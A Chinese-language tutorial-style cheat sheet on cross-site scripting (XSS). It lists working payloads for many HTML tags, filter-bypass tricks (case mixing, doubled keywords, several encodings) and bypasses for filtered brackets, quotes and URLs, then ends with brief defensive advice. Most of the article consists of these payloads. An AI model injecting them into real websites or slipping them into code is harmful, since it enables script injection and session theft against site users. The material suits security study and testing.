当前位置: 首页 > wzjs >正文

淘客网站怎么备案竞价代运营外包公司

淘客网站怎么备案,竞价代运营外包公司,在哪做网站便宜又好,北京市住房和城乡建设网站跨站脚本攻击(XSS)是一种常见的 Web 漏洞,允许攻击者在受害者的浏览器中注入并执行恶意代码。以下是 XSS 攻击的完整总结,包括无过滤情况下的基础 Payload、存在过滤时的绕过技巧以及编码和混淆方法。 一、无过滤情况下的基础 Pay…

在这里插入图片描述

跨站脚本攻击(XSS)是一种常见的 Web 漏洞,允许攻击者在受害者的浏览器中注入并执行恶意代码。以下是 XSS 攻击的完整总结,包括无过滤情况下的基础 Payload、存在过滤时的绕过技巧以及编码和混淆方法。


一、无过滤情况下的基础 Payload

1. <script> 标签
  • 最直接的方式:
    <script>alert("xss");</script>
    
2. <img> 标签
  • 图片加载错误时触发:
    <img src="x" onerror=alert(1)>
    
  • 鼠标悬停或移出时触发:
    <img src=1 onmouseover="alert(1)">
    <img src=1 onmouseout="alert(1)">
    
3. <a> 标签
  • 使用伪协议 javascript: 执行代码:
    <a href="javascript:alert('xss')">test</a>
    
  • 鼠标悬停时触发:
    <a href="" onmouseover=prompt('xss')>aa</a>
    
4. <input> 标签
  • 利用焦点事件(onfocusonblur):
    <input onfocus="alert('xss');" autofocus>
    <input onblur=alert("xss") autofocus><input autofocus>
    
  • 键盘事件(onkeydownonkeypressonkeyup):
    <input type="text" onkeydown="alert(1)">
    
5. <form> 标签
  • 提交表单时触发:
    <form action=javascript:alert('xss') method="get">
    
6. <iframe> 标签
  • 加载外部资源或嵌入 JavaScript:
    <iframe src=javascript:alert('xss')></iframe>
    <iframe onload=alert("xss");></iframe>
    
7. 其他标签
  • <svg>
    <svg onload=alert(1)>
    
  • <body>
    <body onload="alert(1)">
    
  • <button>
    <button onclick="alert(1)">text</button>
    

二、存在过滤情况下的绕过技巧

1. 过滤空格
  • 使用 / 或其他符号代替空格:
    <img/src="x"/onerror=alert("xss");>
    
2. 关键字过滤
  • 大小写绕过
    <ImG sRc=x onerRor=alert("xss");>
    
  • 双写关键字绕过
    <imimgg srsrcc=x onerror=alert("xss");>
    
  • 字符拼接
    <img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
    
3. 其他字符混淆
  • 注释干扰规则:
    <<script>alert("xss");//<</script>
    
  • 利用标签优先级:
    <title><img src=</title>><img src=x onerror="alert(`xss`);">
    

三、编码与混淆绕过

1. Unicode 编码
  • 将字符串转为 Unicode 编码:
    <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
    
2. URL 编码
  • 使用 unescape() 解码:
    <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
    
3. ASCII 码
  • 使用 String.fromCharCode()
    <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
    
4. Hex 编码
  • 使用十六进制表示字符串:
    <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
    
5. Base64 编码
  • 嵌入 Base64 编码内容:
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
    

四、特殊场景绕过

1. 过滤括号
  • 使用 throw 绕过:
    <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
    
2. 过滤引号
  • 使用反引号代替引号:
    <img src="x" onerror=alert(`xss`);>
    
3. 过滤 URL 地址
  • 使用 URL 编码:
    <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
    
  • 使用 IP 地址:
    <img src="x" onerror=document.location=`http://2130706433/`>
    
4. 过滤特定字符
  • 使用中文逗号代替英文逗号:
    <img src="x" onerror="document.location=`http://www。baidu。com`">
    

五、总结与建议

通过上述总结可以看出,XSS 攻击的核心在于找到输入点并利用各种方式绕过过滤机制。以下是一些建议:

  1. 开发者角度

    • 对所有用户输入进行严格的验证和清理。
    • 使用 Content Security Policy (CSP) 限制脚本来源。
    • 输出时对特殊字符进行 HTML 编码。
  2. 安全测试人员角度

    • 测试时关注各种可能的输入点,包括隐藏字段和 HTTP 头部。
    • 学会使用工具(如 Burp Suite)自动化检测漏洞。
    • 不断尝试新的绕过技巧,模拟真实攻击场景。

XSS 是一个复杂但有趣的领域,既需要理论知识的支持,也离不开实践中的不断探索。

希望本文能帮助你更好地理解 XSS 攻击及其防御方法!

http://www.dtcms.com/wzjs/125253.html

相关文章:

  • 深圳网站建设网牛天下网站制作公司哪家好
  • 美国主要手表网站河南企业网站建设
  • 知科网站免费b2b推广网站大全
  • 做网站南京树枝seo
  • 在线播放的视频怎么下载下来河南搜索引擎优化
  • 做网站的公司在哪北京搜索引擎优化
  • 辽宁建设工程信息网官网新网站如何进入市场营销方案范文
  • 网上找事做那个网站靠谱百度官方免费下载安装
  • 信息图表设计网站关键seo排名点击软件
  • 网站建设盒子模型浮动前端seo搜索引擎优化
  • 金坛企业网站建设公司西安seo优化培训
  • 网站做导航的地图网店seo关键词
  • 有没有做高仿手表的网站百度下载安装官方下载
  • 自己做的网站怎么在移动端访问b2b免费外链发布
  • 网站不备案会有什么影响吗广告软文范例大全100字
  • dw软件怎么制作网页自我介绍沈阳专业seo
  • 一级a做爰片免费网站中国片郑州百度推广开户
  • 新网站如何做免费推广目前最新的营销方式有哪些
  • 做网站用啥框架推广渠道怎么写
  • 网站打开不对网络营销模式下品牌推广研究
  • 金融公司网站制作流量查询网站
  • 北京有做网站的吗百合seo培训
  • 如何做网站首页关键词微商怎么找客源人脉
  • 杭州 洛阳网站建设公司 网络服务推广方法
  • 的建站公司站长工具下载app
  • 网站免费认证长沙网站优化排名推广
  • 网站开发需要哪些知识和工具网站seo推广公司靠谱吗
  • 合肥网站建设技术针对本地的免费推广平台
  • 如何拥有自己的私人网站平台谷歌seo优化中文章
  • 网站开发 哪种效率高seo优化诊断